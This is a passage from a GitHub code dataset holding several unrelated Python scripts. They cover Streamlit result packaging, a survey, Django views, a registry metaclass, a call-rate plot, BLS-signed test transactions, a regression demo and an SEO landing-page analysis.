st.markdown('<hr>', unsafe_allow_html=True)\n return False\n\ndef prepare_results_download(session_path, id_session, sim_type, exp_type=''):\n \"\"\"Gather all the relevant files for the simulation and store them into a tmp directory to ZIP them. \n Whether a file is needed is determined btVG.txtased on the state parameter, which has been set when running a simulation.\n\n Parameters\n ----------\n session_path : string\n File path of the current simulation, including id\n id_session : string\n session id, to create a unique name for the ZIP archive\n sim_type : string\n which simulation has been run, either 'simss' or 'zimt'\n exp_type : str, optional\n state the type of experiment run, to collect additional files, by default ''\n \"\"\"\n # When a previous temp folder already exists remove it first.\n if os.path.exists(os.path.join(session_path, 'tmp')):\n shutil.rmtree(os.path.join(session_path, 'tmp'))\n\n # Create the temp folder inside the session folder\n os.makedirs(os.path.join(session_path, 'tmp'))\n\n # The relevant files for the simulation are selected by reading their corresponding session state variable. \n # If not 'none' the file must be copied to the temp folder to be downloaded.\n for dirpath, dirnames, files in os.walk(session_path):\n for file in files:\n # Standard SIMsalabim files\n if file == st.session_state['Var_file'] or file == st.session_state['log_file']:\n shutil.copy(os.path.join(session_path, file),os.path.join(session_path, 'tmp'))\n\n # Bulk trap file\n if st.session_state['traps_bulk'] != 'none':\n if file == st.session_state['traps_bulk']:\n shutil.copy(os.path.join(session_path, file), os.path.join(session_path, 'tmp'))\n\n # Interface trap file\n if st.session_state['traps_int'] != 'none':\n if file == st.session_state['traps_int']:\n shutil.copy(os.path.join(session_path, file), os.path.join(session_path, 'tmp'))\n\n # Generation profile. Note: also the option of 'calc' must be excluded here\n if st.session_state['genProf'] != 'none' and st.session_state['genProf'] != 'calc':\n if file == st.session_state['genProf']:\n shutil.copy(os.path.join(session_path, file), os.path.join(session_path, 'tmp'))\n\n # SimSS specific files\n if sim_type == 'simss':\n # Device parameters\n if file == st.session_state['simss_devpar_file']:\n shutil.copy(os.path.join(session_path, file),os.path.join(session_path, 'tmp'))\n\n # Standard SIMsalabim files\n if file == st.session_state['JV_file'] or file == st.session_state['scPars_file']:\n shutil.copy(os.path.join(session_path, file),os.path.join(session_path, 'tmp')) \n\n # Experimental JV file\n if st.session_state['expJV'] != 'none':\n if file == st.session_state['expJV']:\n shutil.copy(os.path.join(session_path, file), os.path.join(session_path, 'tmp'))\n \n if sim_type == 'zimt':\n # Device parameters\n if file == st.session_state['zimt_devpar_file']:\n shutil.copy(os.path.join(session_path, file),os.path.join(session_path, 'tmp'))\n\n # Standard SIMsalabim files\n if file == st.session_state['tj_file'] or file == st.session_state['tVG_file']:\n shutil.copy(os.path.join(session_path, file),os.path.join(session_path, 'tmp'))\n \n if exp_type == 'hysteresis':\n if file == st.session_state['hyst_pars']:\n shutil.copy(os.path.join(session_path, file),os.path.join(session_path, 'tmp'))\n if st.session_state[\"Exp_object\"]['UseExpData'] == 1:\n if file == st.session_state[\"Exp_object\"]['expJV_Vmin_Vmax'] or file == st.session_state[\"Exp_object\"]['expJV_Vmax_Vmin']:\n shutil.copy(os.path.join(session_path, file),os.path.join(session_path, 'tmp'))\n if exp_type == 'impedance':\n if file == st.session_state['impedance_pars']:\n shutil.copy(os.path.join(session_path, file),os.path.join(session_path, 'tmp'))\n if file == st.session_state['freqZ_file']:\n shutil.copy(os.path.join(session_path, file),os.path.join(session_path, 'tmp'))\n if exp_type == 'imps':\n if file == st.session_state['imps_pars']:\n shutil.copy(os.path.join(session_path, file),os.path.join(session_path, 'tmp'))\n if file == st.session_state['freqY_file']:\n shutil.copy(os.path.join(session_path, file),os.path.join(session_path, 'tmp'))\n \n # When a calculated generation profile is used, retrieve the used nk data and spectrum files as well\n if st.session_state['genProf'] == 'calc':\n # Create sub-directories to store the files\n os.makedirs(os.path.join(session_path,'tmp','Data_nk'))\n os.makedirs(os.path.join(session_path,'tmp','Data_spectrum'))\n\n # nk files\n for dirpath, dirnames, files in os.walk(os.path.join(session_path, 'Data_nk')):\n for file in files:\n if os.path.join('Data_nk',file) in st.session_state['optics_files']:\n shutil.copy(os.path.join(session_path, 'Data_nk', file),os.path.join(session_path,'tmp','Data_nk'))\n\n # spectrum file\n for dirpath, dirnames, files in os.walk(os.path.join(session_path, 'Data_spectrum')):\n for file in files:\n if os.path.join('Data_spectrum',file) in st.session_state['optics_files']:\n shutil.copy(os.path.join(session_path, 'Data_spectrum', file),os.path.join(session_path,'tmp','Data_spectrum'))\n\n\n # Create the summary and citation file\n if st.session_state['genProf'] == 'calc':\n utils_sum.create_summary_and_cite(os.path.join(session_path,'tmp'),True)\n else:\n utils_sum.create_summary_and_cite(os.path.join(session_path,'tmp'),False)\n\n # Create a ZIP file from the tmp results folder\n shutil.make_archive('simulation_results_' + id_session, 'zip', os.path.join(session_path, 'tmp'))\n zip_file_name = 'simulation_results_' + id_session + '.zip'\n\n # If the ZIP archive already exists for this id in the Simulations folder, remove it first.\n if os.path.isfile(os.path.join('Simulations', zip_file_name)):\n os.remove(os.path.join('Simulations', zip_file_name))\n\n # Copy the ZIP file to the 'main' simulations folder\n shutil.move(zip_file_name, 'Simulations/')\n","repo_name":"kostergroup/SIMsalabim-The-Shell","sub_path":"utils/general_web.py","file_name":"general_web.py","file_ext":"py","file_size_in_byte":11408,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"10870536838","text":"\nans = input (\"What is your id number: \")\n\nclass Question:\n def __init__(self, prompt, answer, choices):\n self.prompt = prompt\n self.answer = answer\n self.choices = choices\n\nquestion_prompts = [\n \"\\nWhat is your favorite type of food?\\n(1)Asian\\n(2)Italian\\n(3)American\\n(4)British\\nAns: \",\n \"\\nWhere in the world would you want to travel to?\\n(1)South Korea\\n(2)England\\n(3)Japan\\n(4)Germany\\nAns: \",\n \"\\nWhat dog would you want?\\n(1)Yorkie\\n(2)Husky\\n(3)Australian Shepherd\\n(4)Not a dog owner\\nAns: \",\n \"\\nWhat is your favorite sport to watch?\\n(1)Football\\n(2)Soccer\\n(3)Tennis\\n(4)Tae Kwon Do\\nAns: \",\n \"\\nWhat type of music to you like?\\n(1)Rock and Roll\\n(2)Country\\n(3)K-Pop\\n(4)Classical\\nAns: \",\n ]\n\nquestions = [\n Question(question_prompts[0], \"1\", [1,2,3,4]),\n Question(question_prompts[1], \"1\", [1,2,3,4]),\n Question(question_prompts[2], \"1\", [1,2,3,4]),\n Question(question_prompts[3], \"1\", [1,2,3,4]),\n Question(question_prompts[4], \"1\", [1,2,3,4]),\n ]\n\ndef run_quiz(questions):\n score = 0\n writefile = open ('SurveyAnswers.txt', 'a')\n writefile.write(str(ans))\n writefile.write(\"\\n\")\n writefile.close()\n for question in questions:\n answer = input(question.prompt)\n while not int(answer) in question.choices:\n print(\"Invalid Option! Choose Again!\")\n answer = input(question.prompt)\n writefile = open ('SurveyAnswers.txt', 'a')\n writefile.write(str(answer))\n writefile.write(\"\\n\")\n writefile.close()\n if answer == question.answer:\n score += 1\n print(\"\\nThank You for Participating!\")\n print(\"You're answers will be sent to your email shortly.\")\n\nrun_quiz(questions)\n","repo_name":"psideleau/shusurvey","sub_path":"src/Survey.py","file_name":"Survey.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7135479910","text":"from django.shortcuts import render\nfrom .forms import SubscriberForm\nfrom products.models import *\n\n\ndef landing(request): # request - запрос из браузера\n form = SubscriberForm(request.POST or None)\n\n if request.method == \"POST\" and form.is_valid():\n print(request.POST) # передаем данные\n print(form.cleaned_data) # берем поля, которые нам нужны\n data = form.cleaned_data\n print(data[\"name\"]) # смотрим имя\n\n new_form = form.save() # сохраняем данные в бд (подписчики в админке)\n return render(request, 'landing/landing.html', locals()) # возвращает html шаблон, render - отрисовать\n\n\ndef home(request):\n products_photos = ProductPhoto.objects.filter(is_active=True, is_main=True, product__is_active=True) # чтобы выводить продукты на сайте\n products_photos_berrymix = products_photos.filter(product__category_id=1)\n products_photos_strawberry = products_photos.filter(product__category_id=2)\n return render(request, 'landing/home.html', locals())\n","repo_name":"leonovapolina/-graduation_work","sub_path":"landing/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7566923695","text":"import logging\nfrom abc import ABCMeta\n\n\nclass SubclassRegisteringABCMeta(ABCMeta):\n \"\"\"\n This metaclass provides automatic registration of the subclasses associated\n with classes that use this metaclass. In particular, it allows for a\n dynamic configuration driven lookup of subclasses based on the subclasses\n defined in memory at the time of lookup.\n \"\"\"\n\n def __init__(cls, name, bases, dct):\n super(SubclassRegisteringABCMeta, cls).__init__(name, bases, dct)\n\n if not hasattr(cls, \"_registry\"):\n cls._registry = {}\n\n registry_keys = getattr(cls, \"REGISTRY_KEYS\", [])\n if registry_keys:\n for key in registry_keys:\n if key in cls._registry and cls.__name__ != cls._registry[key].__name__:\n logging.info(\n \"Ignoring attempt by class `{}` to register key '{}', which is already registered for class `{}`.\".format(\n cls.__name__, key, cls._registry[key].__name__\n )\n )\n else:\n cls._registry[key] = cls\n cls._on_registered(key)\n\n def _on_registered(cls, key):\n pass\n\n def for_kind(cls, key):\n return cls._registry[key]\n","repo_name":"matthewwardrop/mensor","sub_path":"mensor/utils/registry.py","file_name":"registry.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"78"} +{"seq_id":"14275377373","text":"#!/usr/bin/env python\n'''\n============================================================\nCGI imputation call rate histograms by SNP and sample.\n\nThe input file produced from count.txt via the command\n\nawk '{ a0 = $4 + $6 + 2*$7 + $8 + $10; a1 = $5 + $8 + $9 + $10 + 2*$11; b = a0+a1+1e-15; if (a0 < a1) { maf = a0/b; } else { maf = a1/b; } printf \"%f %f\\n\", maf, $34; }' count.txt > call-rate.txt\n\nCreated on Oct 21, 2013\n@author: Oren Livne <livne@uchicago.edu>\n============================================================\n'''\nimport sys, impute as im, os, numpy as np, matplotlib.pylab as P\n\ndef plot_call_rate(c):\n # Histogram\n P.clf()\n P.figure(1)\n P.hist(c[:,1], normed=True)\n P.xlabel('Call Rate')\n P.ylabel('Portion of Variants')\n P.savefig(os.environ['OBER'] + '/doc/imputation/cgi/call_rate.png')\n\n####################################################################################\n#if __name__ == '__main__':\n# # Input parameters\n# file_name = sys.argv[1] # Name of data file with MAF, call rates\n#\n# # Load data\n# c = np.loadtxt(file_name, dtype=np.float16)\n#\n# # Breakdown by call rate (proportional to the #samples, 1415)\n# plot_call_rate(c)\n# h = np.histogram(c[:,1])\n# a = np.flipud(np.cumsum(np.flipud(h[0])))/float(c.shape[0])\n# print np.concatenate((h[1][:-1][newaxis].transpose(), a[newaxis].transpose()), axis=1)\n\n # Breakdown by minor allele frequency\n maf_n = 20\n maf_bins = np.linspace(0, 0.5, maf_n + 1)\n maf_bin = np.digitize(c[:,0], maf_bins)\n d = c.astype(float64)\n mean_call_rate = np.array([(1.*np.mean(d[maf_bin == i,1])) for i in xrange(len(maf_bins))])\n P.bar(maf_bins - h, mean_call_rate, width=h)\n\n P.figure(2)\n h = (maf_bins[-1] - maf_bins[0]) / maf_n\n P.bar(maf_bins - h, mean_call_rate, width=h)\n P.savefig(os.environ['OBER'] + '/doc/imputation/cgi/call_rate_maf.png')\n","repo_name":"orenlivne/ober","sub_path":"primal/src/code/impute/impute/imputation/impute_call_rates.py","file_name":"impute_call_rates.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"42503887739","text":"import pandas\r\ndata=pandas.read_excel(r\"C:\\Users\\Administrator\\Desktop\\2023-51MCM-Problems\\2023-51MCM-Problem B\\附件1(Attachment 1)2023-51MCM-Problem B.xlsx\")\r\n# print(data['发货城市 (Delivering city)'])\r\nimport numpy as np\r\nprint(data[\"收货城市 (Receiving city)\"])\r\n\r\n# 计算两个城市之间的相关系数\r\ndef calc_corr(city1, city2):\r\n # 提取出货量数据\r\n data_city1 = data[(data[\"发货城市 (Delivering city)\"] == city1) & (data[\"收货城市 (Receiving city)\"] == city2)][\"快递运输数量(件) (Express delivery quantity (PCS))\"].values\r\n data_city2 = data[(data[\"发货城市 (Delivering city)\"] == city2) & (data[\"收货城市 (Receiving city)\"] == city1)][\"快递运输数量(件) (Express delivery quantity (PCS))\"].values\r\n\r\n # 计算相关系数\r\n corr = np.corrcoef(data_city1, data_city2)[0, 1]\r\n\r\n return corr\r\n\r\n\r\n# 计算两个城市之间的相关系数\r\ncity1 = \"A\"\r\ncity2 = \"O\"\r\ncorr = calc_corr(city1, city2)\r\nprint(f\"{city1}和{city2}之间的相关系数为{corr}\")","repo_name":"owerbai/AI-Science-and-technology","sub_path":"资料库/数学建模/2023-51MCM-Problems/test/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"72351486973","text":"# Implementation of Polynomial Regression using the House Data\nimport warnings\nimport pandas as pd\nimport numpy as np\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.metrics import r2_score\nimport matplotlib.pyplot as plt\nwarnings.filterwarnings(\"ignore\")\n\nprint('Implementation of Polynomial Regression using the House Data')\nprint('1. Read the Housing Dataset')\ndf = pd.read_csv('./housing.data', header = None, sep = '\\s+')\ndf.columns = ['CRIM', 'ZN', 'INDUS', 'CHAS', 'NOX',\n\t\t\t 'RM', 'AGE', 'DIS', 'RAD', 'TAX', 'PTRATIO',\n\t\t\t 'B', 'LSTAT', 'MEDV']\nprint(\"Header of the DataFram: \")\nprint(df.head())\n\nprint('\\n2. Create Quadratic and Cubic features')\nX = df[['LSTAT']].values\ny = df['MEDV'].values\nregr = LinearRegression()\nquadratic = PolynomialFeatures(degree = 2)\ncubic = PolynomialFeatures(degree = 3)\nX_quad = quadratic.fit_transform(X)\nX_cubic = cubic.fit_transform(X)\n\nprint('\\n3. Linear Fit, Quadratic Fit and Cubic Fit')\nX_fit = np.arange(X.min(), X.max(), 1)[:, np.newaxis]\nregr = regr.fit(X, y)\ny_lin_fit = regr.predict(X_fit)\nlinear_r2 = r2_score(y, regr.predict(X))\n\nregr = regr.fit(X_quad, y)\ny_quad_fit = regr.predict(quadratic.fit_transform(X_fit))\nquadratic_r2 = r2_score(y, regr.predict(X_quad))\n\nregr = regr.fit(X_cubic, y)\ny_cubic_fit = regr.predict(cubic.fit_transform(X_fit))\ncubic_r2 = r2_score(y, regr.predict(X_cubic))\n\nprint('\\n4. Plot all results')\nplt.scatter(X, y,\n\t\t\tlabel = 'training points',\n\t\t\tcolor = 'lightgray')\nplt.plot(X_fit, y_lin_fit,\n\t\t label = 'Linear (d = 1), R Square = {0}'.format(round(linear_r2, 3)),\n\t\t color = 'blue',\n\t\t lw = 2,\n\t\t linestyle = ':')\nplt.plot(X_fit, y_quad_fit,\n\t\t label = 'Quadratic (d = 2), R Square = {0}'.format(round(quadratic_r2, 3)),\n\t\t color = 'red',\n\t\t lw = 2,\n\t\t linestyle = '-')\nplt.plot(X_fit, y_cubic_fit,\n\t\t label = 'Cubic (d = 3), R Square = {0}'.format(round(cubic_r2, 3)),\n\t\t color = 'green',\n\t\t lw = 2,\n\t\t linestyle = '--')\nplt.xlabel(\"Percentage lower status of the population [LSTAT]\")\nplt.ylabel(\"Price in $1000\\'s [MEDV]\")\nplt.legend(loc = 'upper right')\nplt.show()\n\nprint('\\n5. Plot y_sqrt vs. X_log relationship, Linear Regression')\nX_log = np.log(X)\ny_sqrt = np.sqrt(y)\n\nX_fit = np.arange(X_log.min() - 1,\n\t\t\t\t X_log.max() + 1,\n\t\t\t\t 1)[:, np.newaxis]\nregr = regr.fit(X_log, y_sqrt)\ny_lin_fit = regr.predict(X_fit)\nlinear_r2 = r2_score(y_sqrt, regr.predict(X_log))\n\nplt.scatter(X_log, y_sqrt,\n\t\t\tlabel = 'Training Points',\n\t\t\tcolor = 'lightgray')\nplt.plot(X_fit, y_lin_fit,\n\t\t label = 'Linear (d = 1) R Square = {0}'.format(round(linear_r2, 3)),\n\t\t color = 'blue',\n\t\t lw = 2)\nplt.xlabel('log(Percentage lower status of the population [LSTAT])')\nplt.ylabel('sqrt(Price in $1000\\'s [MEDV])')\nplt.legend(loc = 'lower left')\nplt.show()","repo_name":"yuyue730/PythonMachineLearning","sub_path":"LinearRegression/PolyRegressionHouseData.py","file_name":"PolyRegressionHouseData.py","file_ext":"py","file_size_in_byte":2796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36255197965","text":"import random\r\nimport serialization_pb2\r\nimport utils,requests\r\n\r\n# noinspection PyUnresolvedReferences\r\nfrom blspy import (PrivateKey, PublicKey, Signature, PrependSignature, AggregationInfo, ExtendedPrivateKey, Threshold,\r\n Util)\r\n\r\nfrom utils import txhash_generator\r\nimport socket\r\nimport sys\r\n\r\n\r\nif __name__ == '__main__':\r\n seed = bytes([random.randint(0, 255) for i in range(256)])\r\n PRIVATE_KEY = PrivateKey.from_seed(seed)\r\n PUBLIC_KEY = PRIVATE_KEY.get_public_key()\r\n TESTKEY = PrivateKey.from_seed(seed)\r\n TESTPKEY = PRIVATE_KEY.get_public_key()\r\n serverip = input(\"Enter Gateway Ip:\")\r\n print(\"-- Configured for {} at {}\".format(serverip, 2020))\r\n print(\"-- PUBLIC KEY: {}\".format(PUBLIC_KEY.serialize().hex()))\r\n #print(\"-- Sending transactions from {} \".format(2021))\r\n API_ENDPOINT=\"http://{}:5000/gateway\".format(serverip)\r\n #serversockin = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n #serversockin.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n while True:\r\n print(\"-- Enter 1 to create and send a empty transaction \")\r\n print(\"-- Enter 2 to create and send N transactions \")\r\n a = int(input(\"Enter Option: \"))\r\n if a == 1:\r\n payload = \"\"\r\n transaction = serialization_pb2.Transaction()\r\n transaction.payload = payload.encode('utf-8') # Payload set\r\n transaction.UserPublicKey = PUBLIC_KEY.serialize().hex() # User PKey set\r\n signature = PRIVATE_KEY.sign(payload.encode('utf-8'))\r\n transaction.MultiSignature = signature.serialize().hex() # Signature Set\r\n transaction.txHash = txhash_generator(signature.serialize(), payload.encode('utf-8'))\r\n timestamps = transaction.timestamp # Fixing the timestamps\r\n transaction.RecipientPublickey = TESTPKEY.serialize().hex()\r\n transaction.NodeListSeed = 28 # Node list seed\r\n transaction.commitment = False # Commitment Flag\r\n for i in range(5):\r\n timestamps.append(-1)\r\n tx_bytes = transaction.SerializeToString()\r\n #sock.sendall(tx_bytes)\r\n print(tx_bytes)\r\n print(len(tx_bytes))\r\n r = requests.post(url=API_ENDPOINT, data=tx_bytes)\r\n print(r.text)\r\n #serversockin.sendto(tx_bytes, (serverip, 2020))\r\n if a==2:\r\n N = int(input(\"Enter number of transactions to create : \"))\r\n for i in range(N):\r\n payload = utils.randomString()\r\n transaction = serialization_pb2.Transaction()\r\n transaction.payload = payload.encode('utf-8') # Payload set\r\n transaction.UserPublicKey = PUBLIC_KEY.serialize().hex() # User PKey set\r\n signature = PRIVATE_KEY.sign(payload.encode('utf-8'))\r\n transaction.MultiSignature = signature.serialize().hex() # Signature Set\r\n transaction.txHash = txhash_generator(signature.serialize(), payload.encode('utf-8'))\r\n timestamps = transaction.timestamp # Fixing the timestamps\r\n transaction.RecipientPublickey = TESTPKEY.serialize().hex()\r\n transaction.NodeListSeed = 28 # Node list seed\r\n transaction.commitment = False # Commitment Flag\r\n for i in range(5):\r\n timestamps.append(-1)\r\n tx_bytes = transaction.SerializeToString()\r\n print(tx_bytes)\r\n print(len(tx_bytes))\r\n r = requests.post(url=API_ENDPOINT, data=tx_bytes)\r\n print(r.text)\r\n #sock.sendall(tx_bytes)\r\n #serversockin.sendto(tx_bytes, (serverip, 2020))\r\n #print(\"-- Tx Hash {} is sent.\".format(transaction.txHash))\r\n if a==3:\r\n break\r\n\r\n","repo_name":"Gauthamastro/transfer","sub_path":"testinvoker.py","file_name":"testinvoker.py","file_ext":"py","file_size_in_byte":3876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42238911976","text":"from helpers import *\n\n# linked Sheets\n# Profession<>BC mapping\n# https://docs.google.com/spreadsheets/d/1JcoOL68Oted1uLtJtnoHlK4LO9aIOxMlGffpDDy2gek/edit?usp=sharing\n# LP Index overview\n# https://docs.google.com/spreadsheets/d/1L1TmIVTgtWIsomPnVniv8n7wQI2HS3q_LNxFYxbgU_M/edit?usp=sharing\n# Cycle Q Monitoring\n# https://docs.google.com/spreadsheets/d/1leHwMKAiTm_lPWfZi9NT5Zsd5nBoq685HZW5jJweEdU/edit#gid=171358124\n\n\ndef main():\n # Variables\n # start_date = '2022-01-01'\n # end_date = '2022-01-31'\n # country = 'ES'\n\n ### User Inputs ###\n country = input(\"Select country (IT, FR, ES, DE):\").upper()\n validate_country(country)\n start_date = input(\"Start date (YYYY-MM-DD):\")\n validate_date(start_date)\n end_date = input(\"End date (YYYY-MM-DD):\")\n validate_date(end_date)\n\n ### Inputs ###\n\n # DB queries\n print('Getting url_bc_sess_req query')\n db_query = db_query_url_bc_sess_req(country, start_date, end_date)\n print('Finished getting url_bc_sess_req query\\n')\n\n print('Getting bc_no_tag query')\n bc_no_tag = db_bc_no_tag(country)\n print('Finished getting bc_no_tag query\\n')\n\n # Gsheet inputs\n\n print('Getting LPs sheet')\n amp_lps = get_Gsheet_from_workbook(country, 'LPs')\n print('Finished getting LP_index sheet\\n')\n\n print('Getting LP_index sheet')\n lp_index = get_Gsheet_from_workbook(country, 'LP Index overview')\n print('Finished getting LP_index sheet\\n')\n\n print('Getting Profession<>BC sheet')\n profession_bc = get_Gsheet_from_workbook(country, 'Professions <> BCs mapping')\n print('Finished getting Profession<>BC sheet\\n')\n profession_bc.sort_values('BC_name', inplace=True)\n\n # GSC\n print('Getting GSC output')\n gsc_out = GSC_search(country, start_date, end_date)\n print('Finished getting GSC output\\n')\n\n # SV\n print('Getting Cycle Q Monitoring sheet')\n EKW = get_Gsheet_from_workbook(country, 'Cycle Q Monitoring')\n print('Finished getting Cycle Q Monitoring sheet\\n')\n EKW.replace('', float('nan'), inplace=True)\n EKW.set_index('BC name', inplace=True)\n # Remove the \"joined\" column\n EKW.drop(columns=['EKW joined'], inplace=True)\n # Add a column with the number of values in each row (num of EKW)\n EKW['num_of_values'] = EKW.count(axis=1)\n\n\n ### Data manipulation ###\n\n # Save output of the queries to .csv in Intermediate_results folder\n db_query.to_csv('Intermediate_results/db_query.csv')\n bc_no_tag.to_csv('Intermediate_results/bc_no_tag.csv')\n lp_index.to_csv('Intermediate_results/lp_index.csv')\n profession_bc.to_csv('Intermediate_results/profession_bc.csv')\n gsc_out.to_csv('Intermediate_results/gsc_out.csv')\n amp_lps.to_csv('Intermediate_results/amp_lps.csv')\n\n # Clean any blank spaces before or after the string\n db_query['BC_name'] = db_query['BC_name'].str.strip()\n bc_no_tag['bc name'] = bc_no_tag['bc name'].str.strip()\n profession_bc['BC_name'] = profession_bc['BC_name'].str.strip()\n profession_bc['Professions'] = profession_bc['Professions'].str.strip()\n gsc_out['page'] = gsc_out['page'].str.strip()\n\n # Modify LP URL column to be the same as the others by adding \"https://\"\n lp_index['URL'] = 'https://' + lp_index['URL']\n\n # Manipulation to deal with sub-services and \"amp\" in the URLs\n df1 = amp_lps.copy() # Create copy of lps\n df1['Full URL'] = df1['Full URL'].str.split('/').str[0:6] # get the text between the first 6 \"/\"\n df1['Full URL'] = df1['Full URL'].str.join('/') # Put them back into a single string\n df1['Full URL'] = df1['Full URL'].str.replace('/amp', '') # Remove \"/amp\"\n\n amp_lps['Full URL'] = amp_lps['Full URL'].str.rsplit('/', 1).str[1] # Get the last element of the URL (BC)\n amp_lps['Full URL'] = df1['Full URL'].map(str) + '/' + amp_lps['Full URL'] # concatenate the 2 to create the final URL\n amp_lps.reset_index(drop=True, inplace=True)\n\n\n ## Landing Page Level results ##\n\n # Outer join amp_lps with db_query (Province, loc_slug, Query, BC_name, Sessions, Requests)\n result_lp = pd.merge(amp_lps, db_query, left_on='Full URL', right_on='Query', how='outer')\n result_lp = result_lp.drop_duplicates()\n result_lp.sort_values(by='Full URL', ascending=False)\n result_lp.rename(columns={\"Full URL\": \"AMP URLS\"}, inplace=True)\n result_lp.reset_index(drop=True, inplace=True)\n result_lp['BC_name'].fillna('missing', inplace=True)\n result_lp.to_csv('AMP_url_compare_query.csv')\n\n # Add profession name\n result_lp = pd.merge(result_lp, profession_bc, on='BC_name', how='left')\n\n # Add GSC output: Clicks, Impressions, CTR, Position\n result_lp = pd.merge(result_lp, gsc_out, how='left', left_on='Query', right_on='page')\n\n # Add LP_index output: Indexed\n result_lp = result_lp.merge(lp_index[['URL', 'Indexed']], how='left',\n left_on='Query', right_on='URL').drop(columns=['URL'])\n\n # Insert the Locality column and remove the \"-\"\n result_lp.insert(loc=2, column='Locality', value=result_lp.Locality_slug.str.capitalize())\n result_lp['Locality'] = result_lp['Locality'].str.replace('-', ' ')\n\n # Reorder the columns\n result_lp = result_lp[[\"AMP URLS\", \"Query\", \"Locality\", \"BC_name\", \"BC_slug\", \"Professions\", \"Sessions\", \"Requests\", \"Clicks\",\n \"Impressions\", \"CTR\", \"Position\", \"Indexed\"]]\n # Round CTR to 1 decimal\n result_lp.CTR = round(result_lp.CTR, 1)\n\n # Calculate Position x Impressions\n result_lp['Position x Impressions'] = \\\n round(result_lp.apply(lambda x: (x['Position'] * x['Impressions']), axis='columns'), 1)\n\n # Get the search volume (SV)\n result_lp['SV'] = result_lp.apply(lambda row: (get_SV(EKW, country, row['BC_name'],\n row['Locality'], start_date, end_date)), axis='columns')\n # Remove 'BC_slug' column\n result_lp.drop(['BC_slug'], axis=1, inplace=True)\n\n # To find a specific BC\n # result_lp[(result_lp.BC_name == 'Abogados de propiedad intelectual')]\n\n # Show number of Indexed pages\n result_lp['Indexed'].value_counts()\n\n # Total number of Lps\n num_lp = pct_tot_lp = result_lp['Indexed'].count()\n\n # Percentage of total LPs\n pct_tot_lp = \"{:.2%}\".format(result_lp['Indexed'].count() / lp_index['URL'].count())\n\n ## BC Level results ##\n\n # Group by BC name\n bc_grp = result_lp.groupby(['BC_name'])\n\n # Example of how to see 1 group\n # bc_grp.get_group('Abogados de propiedad intelectual');\n # Example of how to see all the group names (BCs)\n # groups = [name for name,unused_df in bc_grp]\n # groups;\n\n # Get the sum of Sessions, Requests, Impressions by BC\n result_bc = bc_grp[['Sessions', 'Requests', 'Clicks', 'Impressions', 'SV']].sum()\n\n # Number of LPs for each BC\n result_bc['Number of LPs'] = bc_grp[['BC_name']].count()\n\n # Add the corresponding profession to the BC\n result_bc = pd.merge(result_bc, profession_bc, left_on='BC_name', right_on='BC_name', how='left')\n\n # move 'Profession' to 2nd column\n result_bc.insert(1, 'Professions', result_bc.pop('Professions'))\n\n # Calculate Sessions / LP\n result_bc['Sessions / LP'] = \\\n round(result_bc.apply(lambda x: (x['Sessions'] / x['Number of LPs']), axis='columns'), 1)\n\n # Calculate weighted average ranking with 1 decimal\n result_bc['Weighted average ranking'] = result_bc['BC_name'].map(\n round(bc_grp.apply(lambda x: x['Position x Impressions'].sum() / x['Impressions'].sum()\n if x['Impressions'].sum() != 0 else float('nan')), 1))\n\n # Set 'SV' to last column\n result_bc.insert(9, 'SV', result_bc.pop('SV'))\n\n # Set the index of the DF to BC name\n result_bc.set_index('BC_name', inplace=True)\n\n ## Profession Level results ##\n\n # Group by profession\n prof_grp = result_lp.groupby(['Professions'])\n\n # Get the sum of Sessions, Requests, Impressions by BC\n result_prof = prof_grp[['Sessions', 'Requests', 'Clicks', 'Impressions', 'SV']].sum()\n\n # Debug\n # prof_grp.get_group('Abogado')\n\n # Calculate the Number of BCs for each profession\n result_prof['Number of BCs'] = prof_grp[['BC_name']].nunique()\n\n # Move column Number of BCs to 1st column\n result_prof.insert(0, 'Number of BCs', result_prof.pop('Number of BCs'))\n\n # Calculate Sessions / BC\n result_prof['Sessions / BC'] = \\\n round(result_prof.apply(lambda x: (x['Sessions'] / x['Number of BCs']), axis='columns'), 1)\n\n # Number of LPs for each Profession\n result_prof['Number of LPs'] = prof_grp[['BC_name']].count()\n\n # Calculate LPs / BC\n result_prof['LPs / BC'] = \\\n round(result_prof.apply(lambda x: (x['Number of LPs'] / x['Number of BCs']), axis='columns'), 1)\n\n # Calculate Sessions / LP\n result_prof['Sessions / LP'] = \\\n round(result_prof.apply(lambda x: (x['Sessions'] / x['Number of LPs']), axis='columns'), 1)\n\n # Calculate Weighted average\n result_prof['Weighted average ranking'] = result_prof.index.map(\n round(prof_grp.apply(lambda x: x['Position x Impressions'].sum() / x['Impressions'].sum()\n if x['Impressions'].sum() != 0 else -1), 1))\n\n # Set 'SV' to last column\n result_prof.insert(10, 'SV', result_prof.pop('SV'))\n\n # Export the results to .csv\n result_lp.to_csv(f'Results/{country}_result_lp_{start_date} _ {end_date}.csv')\n result_bc.to_csv(f'Results/{country}_result_bc_{start_date} _ {end_date}.csv')\n result_prof.to_csv(f'Results/{country}_result_prof_{start_date} _ {end_date}.csv')\n\n # To show in PandasGUI\n dataset = {\n 'Query sheet': db_query,\n 'BC no Tag sheet': bc_no_tag,\n 'LP index sheet': lp_index,\n 'Profession<>BC': profession_bc,\n 'GSC Output': gsc_out,\n 'Result LP': result_lp,\n 'Result BC': result_bc,\n 'Result Prof': result_prof\n }\n show(**dataset)\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\"\"\"\n# Simple UI\nfrom tkinter import 